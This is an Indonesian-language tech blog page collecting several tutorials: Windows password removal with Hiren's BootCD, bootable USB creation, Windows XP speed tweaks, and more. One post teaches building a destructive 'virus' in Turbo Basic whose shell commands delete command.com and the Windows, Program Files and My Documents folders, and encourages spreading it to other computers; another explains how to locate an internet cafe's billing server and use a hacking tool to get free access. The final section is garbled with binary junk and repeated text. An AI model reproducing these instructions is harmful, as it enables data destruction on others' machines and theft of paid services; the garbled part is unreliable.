contact
Test Drive Blog
twitter
rss feed
blog entries
log in

ShareThis

Thursday, December 27, 2012


Cara mudah dan aman Bobol Password windows anda yang lupa password tanpa harus install ulang dengan menggunakan bantuan Hiren’s Boot CD
Caranya mudah ikuti langkah berikut :
1.  Siapkan Hiren’s bootCD versi 10.6, kalo anda tidak py silahkan donlot DIMARI
2.  Lalu atur BIOS compi anda, yaitu Booting dari CD jika hiren’s anda di simpan dalam bentuk CD,  atau apa saja sesuai dengan hiren’s yg anda simpan
3 Lalu Booting computer dengan menggunakan Hiren’s bootCD
4.  Tunggu sebentar, kemudian Hiren’s bootCD akan menampilkan beberapa pilihan, yaitu di antaranya :
a.    DOS Program
b.    Mini XP, dll.

5.  Diantara beberapa pilihan Hiren’s bootCD anda pilih DOS Program
6.  Lalu akan tampil : menu selanjutnya, anda pilih : Password & Registry Tools, lalu [ ENTER ]
7.  Pada pilihan selanjutnya, pilih : “Active Password Changer 3.0.420 (NT/2000/XP/2003/VISTA)*, lalu tekan [ ENTER ] saja
8.  Pada dialog berikutnya ada 3 pilihan yaitu :
      1.    Choose logical drive
      2.    Search for MS SAM Database (s) on All hard disks and logical drive
      3.    Exit
9.  Pilih No 2 pada pilihan diatas, lalu [ ENTER ]
10.  Tunggu hingga proses selesai pencarian password yaitu MS SAM yg tersimpan di windows\sytem32 ditemukan
11.  Setelah proses selesai akan di tampilkan bahwa pencarian password telah di temukan yaitu di : \windows\system32\config\sam
12.  [ ENTER ] saja untuk melanjutkan, dan kemudian anda akan melihat daftar user yg ada pada kompi anda,  yaitu :
       [ 0 ] Administrator
       [ 1 ] Guest

13.  Tentukan pilihan anda, karena password ada pada Administrator, maka masukkan angka NOL [0]  pada kotak pilihan, lalu [ ENTER ]
14.    Pada dialog selanjutnya anda akan menemukan beberapa pilihan yaitu :


          [     ] User must change password at next logon
          [  x ] Password never expires
          [     ] Accound disable
          [     ] Accound is locked out
          [  x ] Clear this user’s password


15.    Pada pilihan diatas hilangkan tanda centang pada [ x ] password never expires, dengan menekan tanda space bar di keyboard, lalu tekan “Y” untuk menyimpan perubahan
16.    Kemudian tekan [ ENTER ], lalu tekan ESC 2x untuk keluar, lalu Esc lagi, kemudian EXIT  untuk menutup
17.    Sekarang Restart Computer
18.    Lihat hasilnya, maka computer anda akan menyala kembali normal tanpa password
19.    Selesai




Dapatkan Hiren's Terbaru juga, silahkan kunjungi di halaman web Hiren's Boot Cd [semua versi] di Klik disini
Terima kasih, sudah membaca catatan kecil ini, semoga membantu
Apabila ada kesalahan dalam penulisan, minta maaf, maklum nulis malam ngantuk
Selengkapnya...





      Tampilan Multiboot Dengan Aplikasi bernama SARDU


Anda semua yang sedang belajar menjadi seorang teknisi komputer tentu menginginkan hal yang praktis, ketika anda ingin menginstall OS misalnya, tentu anda berfikir apakah bisa membuat multiboot OS dalam satu flashdisk ?
Jawabannya, tentu bisa.
Apa sajakah yang perlu anda kumpulkan ketika hendak membuat multiboot ?
Tentunya anda harus memiliki file ISO yang anda buat multiboot dan aplikasi pembuat multibootnya.

Disini saya akan berikan contoh membuat multiboot sebanyak 3 OS, yakni Windows Xp Professional, WIndows 7 Ultimate, dan Linux Mint 12 Gnome Dvd dalam satu Flashdisk.


Silahkan simak dengan seksama langkah-langkahnya :





1. Anda harus memiliki dulu aplikasinya Klik Disini
2. Kemudian anda ekstrak hasil downloadnya dengan Winrar.
3. Anda harus membuat dulu file installer OS nya dalam format ISO, jika belum tahu caranya anda bisa melihat disini tentang cara membuat file ISO.
4.  Kemudian anda copy file ISO nya ke dalam folder yang bernama 'ISO' yang berada dalam SARDU (nama aplikasi yang anda download) yang sudah anda ekstrak.
Lihat gambar :
5. Kemudian anda rename file ISO nya menjadi :
-Untuk File ISO Windows Xp Professional namanya menjadi : Install_Xp_pro.iso
-Untuk File ISO Windows 7 namanya menjadi : InstallWin7.iso 
-Untuk Linux Mint namanya menjadi : linuxmint.iso 
6. Kemudian anda jalankan aplikasi yang bernama SARDU jika anda menggunakan PC 32bit, dan  SARDU_x64 jika anda menggunakan Pc 64bit.(Berada dalam hasil ekstrak tadi).  Lihat gambar :
7. Kemudian setelah aplikasinya berjalan, anda pastikan bahwa ketiga OS sudah terdetect dengan cara melihat tanda ceklis.
-Untuk mengetahui apakah linux mint sudah terdetect, klik pada Tab linux :
-Untuk mengetahui apakah Win Xp dan Win 7 sudah terdetect, klik tab Windows :

8. Pastikan Flashdisk anda sudah terdetect pada kotak di bawah tulisan search usb, jika belum anda klik refresh di atas Tab windows.(Asumsi FD sudah plug di komputer)
Note : Saya menggunakan Flashdisk Kingston 8Gb (*4Gb juga bisa asalkan cukup dan anda bisa memperkirakannya sendiri) dan harus sudah diformat dengan Fat32.
9. Jika persiapan sudah selesai, terakhir anda tinggal klik gambar berbentuk USB, dan tunggu hingga prosesnya selesai, anda bisa sambil ngopi :)
Note : Jika proses selesai dengan lancar anda bisa men test FD anda apakah sudah bootab tanpa perlu restart, lihat artikelnya disini 
Semoga ini bermanfaat bagi anda semua, dan jangan lupa like nya yaa agar saya bersemangat untuk menulis artikel lainnya.
Selengkapnya...

Cara meng-install windows xp, vista atau windows seven melalui flash disk bukanlah hal yang baru, cara ini sudah lama ada dan semakin sering digunakan ketika komputer atau laptop yang ingin diinstal tidak dilengkapi dengan perangkat drive optik (CD Rom/ DVD Rom), misalnya pada netbook 10 inci. Metode yang digunakan pada cara ini adalah dengan menjadikan flashdisk kamu menjadi bootable, sehingga file-file instalasi windows akan dipanggil dari flash disk kamu.
Sebenarnya tidak sedikit teman teman blogger yang telah membahas cara ini, namun kebanyakan cara yang mereka gunakan adalah menggunakan aplikasi USB Prep8, yang menurut saya cukup merepotkan, tidak efesian, dan ditambah lagi ia tidak suport untuk dioperasikan dengan windows seven, ini terbukti ketika kemaren saya mencoba membuat flash disk yang bootable untuk installasi windows xp dengan laptop saya yang menggunakan windows 7 ternyata hasilnya gagal booting.

Cara membuat flasdisk bootable windows xp, vista dan seven 7

Sebenarnya ada sebuah aplikasi selain USB Prep8, yang benar-benar mudah cara pengoperasiannya, ia tidak hanya bisa digunakan untuk membuat flash disk bootable OS windows xp saja, namun bisa gunakan untuk windows 2003, vista dan juga windows seven. Nama aplikasi ini adalah WinToFlash, meskipun aplikasi ini berukuran cukup besar yaitu 16 mb (jika dikompres jadi 7 mb) namun dengan tampilan antar muka yang baik ia benar-benar membantu memudahkan kita dalam membuat flashdisk yang bootable untuk sistem operasi windows xp, 2003 maupun windows seven. Dengan aplikasi kamu bisa dengan mudah membuat flashdisk yang bootable hanya dengan beberapa kali klik saja, kemudian tunggu proses pengkopiannya sampai  finish.
Untuk mendapatkan aplikasi WintoFlash ini silahkan download aplikasi wintoflash yang berukuran 7 MB melalui tombol di bawah ini.
download sekarang
Sedangkan panduan cara pembuatan flash disk yang bootable dengan sistem operasi windows xp, 2003, vista ataupun windows seven  dengan aplikasi WinToFlash adalah sebagai berikut :
1. Setelah aplikasi file zip wintoflash di atas didownload, extraklah file tersebut, kemudian buka aplikasi WinToFlash.
2. Untuk memulai membuat flashdisk bootable dan mudah, langsung saja klik pada tombol Tanda Centang warna hijau
cara install windows xp vista seven via flash disk
3.  Klik tombol Next untuk melanjutkan,

4. Tentukan drive sumber file file sistem operasinya, misalnya windows xp, windows vista, atau windows seven (sebelum ini kamu harus masukkan CD windowsnya, entah itu windows XP, seven ataupun Vista ke CD Rom/DVD Rom)
Lalu tentukan drive flash disk yang ingin dijadikan sebagai flash disk yang bootbale, kemudian klik next dan tunggulah prosessnya sampai selesai. jika sudah selesai klik tombol finish, dan silahkan coba untuk melakukan installasi dengan flash disk yang baru kamu jadikan bootbale tadi.


Catatan penting.
1.  Sebelum memulai membuat flash disk yang bootable, pastikan kapasitas flash disk kamu mencukupi, untuk windows XP paling tidak dibutuhkan 2 Gb, sedangkan untuk windows seven dengan flash disk yang berkapasitas 4 GB.
2.  Dan jangan lupa, agar bisa melakukan installasi dengan flash disk, setting bios harus dibuat boot dari flash disk. bagi kamu yang belum mengerti silahkan bacara panduan cara setting bios agar komputer booting dari flashdisk < —- silahkan klik di sini,  untuk membaca panduannya.
3. Selanjutnya silahkan membaca tahapan setup cara instal windows xp jika kamu belum mengerip langkah-langkahnya.
Selamat mencoba membuat flash disk yang bootble, baik dengan windows xp, vista ataupun windows seven. semoga berhasil sehingga komputer atau laptop kamu bisa digunakan lagi.

Semoga Bermanfaat.
Thanks Regards,
Bedulz31

Selengkapnya...

Hiren's  BootCD From USB




 Step 1
Connect USB Pen Drive  (256Mb or  more)

 Step 2
Download  and Run USB Disk Storage  Format USB Disk Storage Format usb_format.zip (34KB)
Screenshot

 Step 3
Download  and Run grubinst_gui Grub 4 Dos  grub4dos.zip (147KB)
Screenshot

 Step 4
Copy grldr and menu.lst (from grub4dos.zip)  to the usb  drive
Screenshot

Step 5
Insert the  BootCD (9.7 or  newer) in the CD Drive and Copy everything from CD to  USB Flash Drive   Step 6
Test Your USB  Drive (read bottom of  the page for troubleshoot)



To Enter the BIOS press the "Del" button on  your keyboard. Alternatives are  "F1", "F2", "Insert", and "F10". Some  PC's BIOS might even require a different  key to be pressed. Commonly a  PC will show a message like "Press [Del] to enter  Setup" to indicate  that you need to press the "Del" key. Some AMI BIOS require  you to  enable the option "USB Keyboard Legacy support"! 

For AMI BIOS: 


  • Go  to "Feature Setup". "Enable" these options: "USB Function Support",
    "USB  Function For DOS" and "ThumbDrive for DOS". Go to "Advanced   Setup".
    Set the "1st Boot Device" to "USB RMD-FDD".
    Reboot the PC  and it  now should boot from the Usb Stick.

  • Go to "USB  Mass Storage Device Configuration". Select "Emulation Type"
    and set  it to "Harddisk". Go to the "Boot Menu" and set the "1st boot  device"  to "USB-Stick". Exit the BIOS, saving the changes.
    you can   try "Emulation Type" to "Floppy" or "Forced FDD".

For  PHOENIX/AWARD BIOS:


  • Go to "Advanced BIOS Features". Go to  the "1st Boot device" and set it to  "USB-ZIP".



 


Troubleshoot


If you get GRLDR error then use syslinux  to  boot grub4dos 
 
Thanks Regards
Bedulz31


Selengkapnya...

Wednesday, April 11, 2012


Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.
Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google.
Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.
shell “Perintah DOS”
dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :
shell “c:”
shell “cd\”
shell “del command.com”
Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.
shell “c:”
shell “cd\”
shell “deltree /y mydocu~1″
shell “deltree /y windows”
shell “deltree /y progra~1″
Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?
Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUSjadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe
Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi*.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.
*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali
Klik Disini Download Turbo Basic v1.0

Semoga Bermanfaat..
Nb: Jangan Salah Gunakan Program ini..

Regards,
Bedulz31
Selengkapnya...


Berikut 14 Cara Mengoptimalkan Kinerja Komputer :

1. Mematikan Startup dan Services Yang Tidak Dibutuhkan.

Buka Start>Run kemudian ketikkan "msconfig". Klik Tab "startup" kemudian hilangkan tanda centang pada aplikasi yang tidak terlalu dibutuhkan. Dilanjutkan klik tab "services" lakukan hal yang sama pada service yang dianggap tidak perlu (lihat deskripsinya). Beberapa service yang dapat anda disable misalnya :

* Alerter
* Clipbook
* Computer Browser
* Distributed Link Tracking Client
* Fast User Switching
* Help and Support – (Jika anda mengunakan windows help, maka langkah ini diskip aja)
* Human Interface Access Devices
* Indexing Service
* IPSEC Services
* Messenger
* Netmeeting Remote Desktop Sharing
* Portable Media Serial Number
* Remote Desktop Help Session Manager
* Remote Procedure Call Locator
* Remote Registry
* Remote Registry Service
* Secondary Logon
* Routing & Remote Access
* Server
* Telnet
* TCP/IP NetBIOS Helper
* Upload Manager
* Universal Plug and Play Device Host
* Wireless Zero Configuration -(Jangan didisable jika anda mengunakan Wireless)
* Workstation
Kemudian klik OK
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2. Matikan System restore (Tidak Harus)

System restore bisa bermanfaat jika komputer bermasalah, akan tetapi semua restore point yg disimpan bisa memakan ruangan yg cukup besar di harddisk. System restore membebani karena selalu memonitor sistem, dengan mendisable system restore maka sebagian resorce bisa dialokasikan untuk hal yg lain.

1. Buka Control Panel
2. Klik Performance and Maintenance
3. Klik System
4. Klik System Restore tab
5. Klik ‘Turn off System Restore on All Drives’
6. Klik ‘Ok’

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
3. Mempercepat akses Folder – dengan mendisable Last Access Update (Langkah berikut bukan untuk Newbie)

Jika anda memiliki banyak folder dan subdirectories, maka akses ke Direktory2 Windows XP terasa sangat berat dan seringkali cuman membuang waktu. Dengan mengupdate time stamp di registry, yaitu last access update untuk semua sub directory.

1. Start>Run>regedit
2. “HKEY_LOCAL_MACHINE\System\CurrentControlSet\C ontr ol\FileSystem”
3. Klik kanan di bagian yg kan (cari area yg kosong), lalu pilih ‘DWORD Value’
4. Bikin DWORD Value dengan nama ‘NtfsDisableLastAccessUpdate’
5. Klik kanan pada value baru terus pilih ‘Modify’
6. Ubah data menjadi ‘1′
7. Klik ‘OK’
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4. Me-non-aktifkan Microsoft System Sounds

Secara default MS sound systems membuat komputer berbunyi/bersuara ketika booting awal, shutdown, error, dll. Skenario suara windows jelas2 membuat komputer lebih lambat (terutama dalam waktu shutdown dan booting awal), untuk me-non-aktifkan silahkan ikuti langkah berikut:
1. Buka Control Panel
2. Klik Sounds and Audio Devices
3. Klik tab Sounds
4. Pilih “No Sounds” dari Sound Scheme
5. Klik “No”
7. Klik “Apply”
8. Klik “OK”
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
5. Mempercepat waktu Boot

Fitur yg lumayan asik dari Windows XP adalah kemampuan untuk mendefrag ketika ada dalam proses booting. Boot Defrag pada prinsip menata file2 yg relevan dengan booting secara berurutan. Secara default fitur ini telah diaktifkan pada beberapa Build Windows, tapi beberapa build windows tidak, ada baiknya kalo kita cross check terhadap fiotur yg satu ini.
1. Start Menu>Run
2. Regedit
3. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOpt imizeFunction
4. Cari “Enable” dibagian kanan regedit
5. Klik “Modify”
6. Pilih “Y to enable”
7. Reboot

Tambahan:
Bootvis juga bisa dicoba, untuk memangkas waktu boot dengan manufer yg manis.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
6. Mempercepat Performa Swapfile

Mempercepat Loading Windows Menu
Tweak ini adalah tweaking fav saya, karena akan komputer kita terasa lebih cepat. Tweaking ini membuang waktu delay ketika kita mengklik menu dan windows XP menampakkan Menu.
1. Start>Run
2. Regedit>Ok
3. “HKEY_CURRENT_USER\Control Panel\Desktop\”
4. Pilih/Sorot “MenuShowDelay”
5. Klik kanan dan pilih “Modify’
6. Ketik angka “100″
Angka 50-150 adalah kisaran yg baik, bisa disesuaikan dengan Mood anda
Jika anda memiliki ram lebih besar dari 256MB bisa dibilang tweaking yg ini akan membuat sistem anda berjalan lebih cepat. Tweaking ini pada dasarnya PC kita mengunakan setiap byte dari memori fisik yg terpasang di komputer kita, SEBELUM mengunakan swap file.
1. Start>Run
2. “msconfig.exe”>ok
3. Klik tab System.ini
4. Klik tanda plus pada tab 386enh
5. Klik kotak new kemudian ketik “ConservativeSwapfileUsage=1″
6. Klik OK
7. Restart
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
7. Mempercepat Loading Program.

Tweaking ini bisa berjalan untuk sebagian besar program. Jika program tidak mau loading seperti yg diharapkan, silahkan aja dikembalikan ke setting semula.
1. Klik kanan pada icon/shortcut yg berkaitan dengan program.
2. properties
3. Pada kotak ‘target’, tambahkan ‘ /prefetch:1′ diakhir kalimat.
4. Klik “Ok”
gampang kan, Program akan loading lebih cepat.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
8. Mempercepat Shutdown Windows XP.

Tweaking ini mengurangi waktu tunggu secara otomatis ketika windows sudah menerima instruksi untuk shutdown.
1. Start>Run
2. ‘Regedit’>OK
3. ‘HKEY_CURRENT_USER\Control Panel\Desktop\’
4. Sorot ‘WaitToKillAppTimeout’
5. Klik kanan dan pilih modify
6. Ubah value menjadi ‘1000′
7. Klik ‘OK’
8. Sorot ‘HungAppTimeout’
9. Klik kanan dan pilih modify
10. Ubah value menjadi ‘1000′
11. Klik ‘OK’
12. ‘HKEY_USERS\.DEFAULT\Control Panel\Desktop’ sorot WaitToKillAppTimeout’
13. Klik kanan dan pilih modify
15. Ubah value ke ‘1000′
16. Klik ‘OK’
17. ‘HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contr ol\’ sorot ‘WaitToKillServiceTimeout’
19. Klik kanan dan pilih modify
20. Ubah value menjadi ‘1000′
21. Klik ‘OK’
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
9. Disable Prefetch

Tip2 berikut ini berkaitan dengan bagaimana Windows “dibebaskan” dari beban2 yg mengakibatkan sistem jadi lambat dan kurang responsifMembersihkan Prefetch File untuk meningkatkan Performa Windows.
Fitur ini cukup efisien dalam meningkatkan agresifitas windows tapi tidak perlu mengutak-utik registry. Yg diperlukan adalah mendelete isi directory/folder prefetch. Prefetch adalah directory yg berisi link2 yg kadaluarsa. Link2 yg semakin menumpuk bisa memperlambat komputer anda secara signifikan. Directory prefetch ada di c:windows/prefetch, membersihkan prefetch 2-3 minggu sekali cukuplah untuk pemakaian standar.Mendisable Prefetch untuk Sistem dengan memory yg kecil (256MB kebawah)
Jika sistem anda cuman 128MB. Windows prefetch akan melumpuhkan sistem anda karena prefetch berusaha nge-load, link2 lama dengan tujuan mempercepat komputer, tapi prefetch itu spt pedang mata dua, karena terlalu banyak yg di load justru komputer bukannya tambah cepat, tapi malahan jadi lambat. Karena sebagian besar memori idle disedot untuk hal.

1. start>run>regedit
2. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Session Manager\Memory Management\PrefetchParameters\EnablePrefetcher];
3. Dobel klik isi 0 untuk menDisable.
4. reboot.

Mempercepat dengan mensetting ulang Prefetcher.

Fitur ini cukup unik di Windows XP, dan jika dilakukan dengan benar hasilnya terasa sangat jozzzz, yg hendak kita lakukan adalah mensetting ulang folder cache yg ada di windows kita.
1. start>run>regedit
2. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Session Manager\Memory Management\PrefetchParameters\EnablePrefetcher]
3. ada 3 pilihan yaitu 0-Disable, 1-App launch prefetch, 2-Boot Prefetch, 3-Both (”3″ adalah yg direkomendasikan).
4. reboot.
Setting ulang ini akan mengurangi waktu booting dan waktu yg diperlukan untuk loading program.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
10. Booting lebih cepat dengan mengurangi beban Font.

Setiap kali windows booting selalu melakukan loading font2 yg terdaftar di windows. Jika anda bukan desainer grafik, tentu saja ngggak semua font itu digunakan. Saran saya adalah memindahkan font2 di folder lain.
1. Bikin foler baru
2. Masuk ke “Fonts” di Control Panel.
3. Sorot group font yg akan di pindah.
4. Pindahkan ke folder yg baru, atau untuk mudahnya klik kanan lalu pindahkan ke My Documents.
5. Reboot, jika anda membutuhkan font yg telah dipindahkan tadi, caranya copy dan paste ke directory font yg lama.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
11. Tweaking memory.

Nggak cuman overclock di BIOS yg bisa mempercepat laju komputer , tapi tweaking ini nggak boleh dilewatkan. Tweaking ini disarankan bagi mereka yg memiliki kapasitas memory sebesar 512MB keatas.
1. start>run>regedit
2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

1.DisablePagingExecutive -dobel klik masukan desimal 1 -
point ini mengaakibatkan windows XP menyimpan data di memory, ketimbang mengakses page file di harddisk.
2.LargeSystemCache -dobel klik masukan desimal 1- – tweak ini
mengijinkan kernel windows jalan di memory, bener2 jozz gandhoz dan mak nyozzz kalo dilakukan dengan bener. so be careful.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
12. Windows XP Icon Cache

Jika Icon2 yg ada di desktop serasa lama sekali untuk muncul. Jangan kuatir jika anda mengalami hal ini. Icon di desktop mengunakan cache, dan ketika cache sudah menumpuk maka access dari desktop ke icon terasa sangat lambat apa yg perlu dilakukan? Silahkan delet atau hapus Iconchace.db yg ada di directory (/Documents) dan di (Settings/Username/Local Settings/Application Data). Ketika anda mendelete seketika itu juga windows akan bikin yg baru. dan yg pasti icon cache yg baru lebih ‘enteng’ bagi windows.
*pastikan opsi show hidden files and folder diaktifkan sebelum mendelete iconcache.db
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
13. Memaksimalkan Koneksi Internet

56K TweaksPendahuluan
Salah satu sumber frustasi penguna internet adalah lambatnya koneksi internet, spt yg anda alami koneksi internet terkadang sangat lambat. Meski tertulis 56k output sesungguhnya dari dial up internet adalah 53.3k, dan rata2 pemakai dial up memperoleh koneksi 40k-50k, cukup lumayan untuk untuk standar dial up. Dalam angka 40k-50k maka througput maksimal adalah sebesar 6k per second.Langkah-langkah

1. Download driver terbaru untuk modem anda.
2. Langkah kedua adalah “membersihkan” jalur telepon dari gangguan listrik statis, listrik statis mampu menurunkan koneksi internet secara signifikan. Dan meski melakukan tidak ada tweaking dari Windows yg bisa kita lakukan untuk mengatasi gangguan listrik statis.
3. Download cablenut

Setting TCP/IP anda dan AFD registry untuk mencapai performa maksimal.
berikut ini adalah setting untuk cable nut 56k

DefaultReceiveWindow = 8192
DefaultSendWindow = 4096
DisableAddressSharing = 1
InitialLargeBufferCount = 20
InitialMediumBufferCount = 48
InitialSmallBufferCount = 64
LargeBufferSize = 40960
MaxFastTransmit = 6400
MediumBufferSize = 15040
PriorityBoost = 0
SmallBufferSize = 1280
TransmitWorker = 32
FastSendDatagramThreshold = 1024
EnableFastRouteLookup = 1
EnablePMTUDiscovery = 1
IgnorePushBitOnReceives = 0
GlobalMaxTcpWindowSize = 8760
MaxFreeTcbs = 4000
MaxHashTableSize = 8192
MaxNormLookupMemory = 1500000
SackOpts = 1
SynAttackProtect = 1
Tcp1323Opts = 0
TcpLogLevel = 1
MaxDupAcks = 3
TcpMaxHalfOpen = 100
TcpMaxHalfOpenRetried = 80
TcpRecvSegmentSize = 1460
TcpSendSegmentSize = 1460
TcpTimedWaitDelay = 30
TcpUseRFC1122UrgentPointer = 0
TcpWindowSize = 8760
MaxConnectionsPer1_0Server = 8
MaxConnectionsPerServer = 4
DefaultTTL = 128
DisableUserTOSSetting = 0
TcpMaxDataRetransmissions = 6
DefaultTOSValue = 90

Tweak lain yg bisa dicoba :

Control panel>phone modem properties>modems>sorot modem anda>propertiesGeneral tab:
Maximum port speed – 115,200Extra Settings
Masukan extra settings sesuai kebutuhan anda, referensi website yg menyedia extra settings adalah sbb:
Spy.net
56K.com
West.net
ModemHelp.org

Advanced port settings
kasih centang “use FIFO buffers” kemudian slider barnya di geser ke paling kanan.

Ubah default preferences:
Port Speed – 115,200
Data Protocol – Standard EC
Compression – enabled
Flow Control – hardware

Advanced:
Data bits – 8
Parity – None
Stop Bits – 1
Modulation – Standard

Masuk ke Network and Dialup Connections dan klik kanan pada Icon ISP anda dan plilih properties
>

General tab:
Sorot modem dan pilih configure “configure”, pilih maximum speed 921,600 dan dan di “hardware features” pastikan semua kotak dicentang.

Networking tab:
Uninstall semua protocol yg tidak dipakai, Jika komputer anda adalah stand alone PC maka yg diperlukan adalah TCP/IP saja.

Pilih kotak settings pastikan semua kotak dicentang.

Setting COM port:
Klik kanan My Computer lalu pilih properties – hardware – device manager – pilih COM port yg dipakai – port settings – bits per second 128000.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
14. Meminimalkan tampilan grafik yang tidak perlu.


Memang Windows XP tampak begitu memukau dari segi tampilannya ,tapi tampilan seperti itu ternyata membutuhkan memory juga lho. kalau kebutuhan utama kita adalah kecepatan bukan dari tampilan yang bagus, setting pada konfigurasi ini dapat menambah kecepatan notebook/laptop atau komputer anda.

* Masuk ke Control Panel
* klik 2x System
* Klik Advance Tab
* Pada performace, Klik tombol Setting
* Kalau mau gampangnya, pilih Adjut for best performance
* Kalau ingin pilih-pilih, silakan buang centang yang tidak perlu. Tidak usah takut, kalau salah centang tidak akan menyebabkan masalah,

SELESAI.
Semoga Bermanfaat Gan (^_^)
Bedulz31

Please Comment...
Selengkapnya...


Hack Billing Warnet, Untuk Ngenet Gratis


Banyak cara yang dapat dilakukan untuk hacking billing warnet agar dapat main internet dengan gratis. Salah satu cara untuk hacking billing warnet adalah menggunakan ZHider. Selain hacking billing warnet dengan ZHider, kali ini saya akan berikan satu trik lain yang dapat mengelabuhi billing warnet. Namamya adalah Bill Hack, berikut trik dan tips nya.
Sebelum memulai, sebaiknya cek dulu CMD pada komputer diwarnet korban, apakah dapat di akses atau tidak. Mengakses CMD dapat melalui menu START>RUN. Ketikan CMD dan tekan Enter. Apabila tidak dapat diakses, sebagai gantinya dapat menggunakan CMD portable.
Ok, saatnya kita mulai beraksi:
  1. Buka CMD atau Command Prompt. Ketikkan net view. Maka akan terlikhat nama-nama komputer yang aktif pada jaringan LAN warnet tersebut.
  2. Dengan mengandalkan insting, cari komputer billing yang menjadi server pada billing warnet. Dapat diketahui dengan nama yang sedikit berbeda dari nama komputer lainnya. Misalkan Administrator, Billing, WarnetBilling, WarnetServer, dan lain-lain terganttung setting pada billing warnet.
  3. Kembali ke jendela Command Prompt, lakukan ping pada komputer server billing tersebut untuk mendapatkan IP server billing warnet. Ketikkan ping(spasi)namabillingwarnet, contoh ping billing.
  4. Catat IP address billing server yang tertera pada jendela CMD, saat melakukan ping pada step sebelumnya.
  5. Jalankan program biling yang dapat didownload di bawah.
  6. Pada saat dijalankan, ada 2 pilihan, yaitu Single Client atau All Client, pilih saja yang Single Client.
  7. Ketikkan IP address billing server tadi, gunakan port 1500, kemudian tekan Connect.
  8. Maka hack sudah berjalan apa bila sudah berhasil connecting…
{ � t < ��- �|6 ngelabuhi billing warnet. Namamya adalah Bill Hack, berikut trik dan tips nya.
Sebelum memulai, sebaiknya cek dulu CMD pada komputer diwarnet korban, apakah dapat di akses atau tidak. Mengakses CMD dapat melalui menu START>RUN. Ketikan CMD dan tekan Enter. Apabila tidak dapat diakses, sebagai gantinya dapat menggunakan CMD portable.
Ok, saatnya kita mulai beraksi:
  1. Buka CMD atau Command Prompt. Ketikkan net view. Maka akan terlikhat nama-nama komputer yang aktif pada jaringan LAN warnet tersebut.
  2. Dengan mengandalkan insting, cari komputer billing yang menjadi server pada billing warnet. Dapat diketahui dengan nama yang sedikit berbeda dari nama komputer lainnya. Misalkan Administrator, Billing, WarnetBilling, WarnetServer, dan lain-lain terganttung setting pada billing warnet.
  3. Kembali ke jendela Command Prompt, lakukan ping pada komputer server billing tersebut untuk mendapatkan IP server billing warnet. Ketikkan ping(spasi)namabillingwarnet, contoh ping billing.
  4. Catat IP address billing server yang tertera pada jendela CMD, saat melakukan ping pada step sebelumnya.
